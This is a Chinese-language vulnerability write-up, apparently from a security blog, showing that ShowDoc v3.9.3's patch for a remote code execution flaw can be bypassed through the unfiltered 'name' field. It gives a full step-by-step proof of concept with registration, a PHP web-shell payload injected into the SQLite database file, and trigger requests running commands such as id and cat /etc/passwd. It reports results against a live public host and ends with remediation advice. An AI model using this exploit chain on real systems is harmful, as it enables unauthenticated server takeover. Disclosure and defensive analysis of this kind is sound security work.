ShowDoc_v3.9.3_Fix_Bypass_Analysis

72次阅读
没有评论

ShowDoc v3.9.3 官方修复绕过专项分析(name 列注入 RCE)

版本:v3.9.3(官方宣称已修复 commit 2053c3cd0f)
结论:v3.9.3 的 username 白名单可被绕过,默认部署仍可未授权链路实现任意命令执行。
已在本地 v3.9.3 与公网实机(xxx.com:11081)端到端复现。


1. 官方修复内容(v3.9.3,commit 2053c3cd0f)

server/app/Api/Controller/UserController.php 在 login() 与 registerByVerify() 两处
对入参 username 增加白名单:

if (!preg_match('/^[a-zA-Z0-9_\-\x{4e00}-\x{9fa5}]{2,30}$/u', $username)) {
    return $this->error($response, 10101, '用户名只允许字母、数字、下划线、横线、中文,2-30个字符');
}

效果:注册/登录入口拒绝含 <?、(,),;,$,", 等字符的 username,
直接封死"恶意 username 入库"这一原始利用形态。


2. 为什么修复不完整(代码层)

本漏洞本质是:"user 表中任意一列的原始字节进入库文件前部" + "库文件可被 PHP 执行"。
修复只覆盖了 username 一个字段的两个入口:

写入点 是否过滤 可达性
registerByVerify() 的 username(3.9.3 已加白名单) ✅ 未授权
login() 的 username(3.9.3 已加白名单) ✅ 未授权(不入库)
updateInfo() 的 name(昵称) ❌ 零过滤 任意登录用户
Model/User::register()(模型层) ❌ 所有 register 调用方
ExtLogin::bySecretKey/oauth2/CAS 的 username/name ❌ 需管理员密钥
AdminUserController::addUser() 的 username/name ❌ 需管理员

其中 updateInfo 的 name 字段是唯一"任意注册用户即可写入、零过滤"的持久化点。

2.1 关键源码:v3.9.2 与 v3.9.3 完全一致

// server/app/Api/Controller/UserController.php
public function updateInfo(Request $request, Response $response): Response
{
    $user = [];
    if ($error = $this->requireLoginUser($request, $response, $user)) { return $error; }
    $uid  = (int) ($user['uid'] ?? 0);

    $name = $this->getParam($request, 'name', '');            // ← 无正则、无长度限制
    DB::table('user')->where('uid', $uid)->update(['name' => $name]);  // ← 原样入库
    return $this->success($response, []);
}

对应模型层 Model/User.php::updateName() 同样无校验:

public static function updateName(int $uid, string $name): bool
{
    ...
    $affected = DB::table('user')->where('uid', $uid)->update(['name' => $name]);
    return $affected > 0;
}

3. 为什么 name 列与 username 列等效(机制回顾)

RCE 触发条件只有两个,与"哪一列"无关:

  1. payload 字节(含 <?php)落在库文件中所有其它 <?php 之前;
  2. payload 以 __halt_compiler(); 结尾,使文件后部(防下载记录等)不再参与编译。

user.name 与 user.username 是 user 表同一行的不同列,存放在同一 SQLite
B-tree 叶子页(默认 root 在第 4 页,文件偏移约 3072-4095)。默认部署首启建表迁移
(Upgrade.php 新增 26 张表:24→50 张)使 sqlite_master 重排,把"防下载表"记录
(表名 <?php ,字节在种子库偏移 929)推到 偏移 7073+;而 user 行落在其前。
因此:

文件布局(运行后的默认部署):
[0..100]      sqlite 头
[page 4: 3072-4095]  user 表叶子 ← 新用户行(username+name+password…都在这里)
                    └ name 列内含: <?php system($_GET["c"]);__halt_compiler();
[offset 7073+]      防下载表记录(<?php <?php 双标签)→ 被 __halt_compiler 屏蔽,永不编译

请求 /Sqlite/showdoc.db.php?c=id 时,PHP 从文件头开始解析,第一个 <?php 即
name 列中的 payload → system('id') 执行 → __halt_compiler(); 截断编译 →
HTTP 200 + 命令输出。

为什么必须 __halt_compiler:?> 收尾的 payload 执行后编译会继续,撞上文件后部
防下载记录的 <?php <?php 双标签 → 整文件编译错误 → 500(此前大量失败皆源于此)。


4. 完整 PoC(v3.9.3)

4.1 手工请求序列

① 注册普通用户名(通过白名单,注册接口未授权):
POST /server/index.php?s=Api/User/registerByVerify
    username=normalbypass01&password=Test@123456&confirm_password=Test@123456
    &captcha_id=<验证码ID>&captcha=<识别结果>
→ {"error_code":0,"data":{"uid":N,"user_token":"<TOKEN>",…}}

② 注入 name(任意登录用户即可):
POST /server/index.php?s=Api/User/updateInfo
    user_token=<TOKEN>&name=n<?php system($_GET["c"]);__halt_compiler();
→ {"error_code":0,"data":[]}

③ 触发:
GET /Sqlite/showdoc.db.php?c=id
→ HTTP 200,响应含 uid=…(application)…

4.2 payload 说明

组成 作用
n 占位(避免列首字符干扰,任意字母即可)
<?php 打开 PHP 代码模式
system($_GET["c"]) 直接命令执行,命令经 ?c= 传入
__halt_compiler(); 终止编译,屏蔽其后全部 sqlite 字节/防下载双标签

其它可用命令:?c=hostname、?c=uname+-a、?c=cat+/etc/passwd(空格 URL 编码 + 或 %20)。

4.3 自动化脚本

见 _showdoc_dl/dbcheck/live393_bypass.py(ddddocr 多渲染投票过验证码 →
注册 → updateInfo → 触发一体)。


5. 实测证据

5.1 本地 v3.9.3(官方种子 + 真实代码 + 首启迁移)

register uid=2  username=normalbypass01            ✅ 通过白名单
updateInfo name=n<?php system($_GET["c"]);__halt_compiler();
   sqlite3 确认入库:('normalbypass01','n<?php system($_GET["c"]);__halt_compiler();')
库文件:343040B,首个 <?php 偏移 3925(= payload),防下载记录 7073+
GET /Sqlite/showdoc.db.php?c=id → HTTP 200 → uid=501(mac) gid=20(staff)…

5.2 公网实机(xxx.com:11081,官方 v3.9.3 镜像)

[+] register OK    uid=3  username=verify3934724  (captcha KZ32,ddddocr 投票)
[+] updateInfo     error_code:0
[+] GET /Sqlite/showdoc.db.php?c=id        → HTTP 200 → uid=1000(application)
[+] GET /Sqlite/showdoc.db.php?c=hostname  → HTTP 200 → 2e059b9e59f2
[+] GET /Sqlite/showdoc.db.php?c=uname -a  → HTTP 200 → Linux 2e059b9e59f2 6.8.0-31-generic …

证据文件:_showdoc_dl/rce_proof/393/(393_id.bin / 393_hostname.bin /
393_uname.bin / bypass_run.log)


6. 影响面(其它未过滤写入点)

即便将来给 name 也加了白名单,以下路径在 v3.9.3 仍未过滤,属于同族后门:

  • ExtLogin::bySecretKey:$name 参数直接 User::updateName($uid, $name)(需管理员
    login_secret_key);
  • ExtLogin::oauth2/CAS:provider 返回的 username/name 原样 register()(需配置 SSO);
  • AdminUser::addUser:username/name 原样 register(需管理员)。

结论:只要"user 表可写入含 <?php 的原始字节"这个前提存在任意一条路径,本漏洞形态
就不会消失。逐字段加白名单是打地鼠,必须结构层修复。


7. 正确修复

7.1 结构层(治本,必做)

  1. nginx 拒绝 Sqlite 目录的 PHP 执行/访问:
    location ^~ /Sqlite/ { deny all; }
    
  2. 库文件移出 webroot 或用 DB_NAME 指向外部路径;
  3. 去掉 .php 后缀并确保该扩展名不被 php-fpm 解析(注意历史 .bak/backup 副本一并处理)。

7.2 应用层(防绕过面)

  1. 对 所有 user 表字符串列(username、name、email、mobile…)统一白名单;
  2. 校验下沉到 Model/User::register() / updateName() / 所有 DB::table('user')->update()
    调用点,统一拒绝 <?、?>、__halt_compiler 等特征;
  3. 关闭注册(register_open=0)可完全封堵本链(攻击者无法建立账号)。

7.3 运维层

  1. 升级到 v3.9.3 后仍需执行 1-5(v3.9.3 存在本绕过);
  2. 默认管理员 showdoc/123456 首登强制改密;
  3. 若已中招:检查 user 表 name/username 列、Sqlite 目录下 .bak/.backup 副本。

8. 附

  • 主报告:ShowDoc_v3.9.2_RCE_FullChain_Analysis.md(全链路,§6.7/§9.3/§9.4)
  • 工具:_showdoc_dl/dbcheck/live393_bypass.py、live_register_dddd.py
  • 本漏洞的"防下载表"证据与运行布局变化详见主报告 §5-§6。

本文所有结论均基于两版源码 diff、sqlite 字节级取证与本地/实机端到端复现。

正文完
 0
评论(没有评论)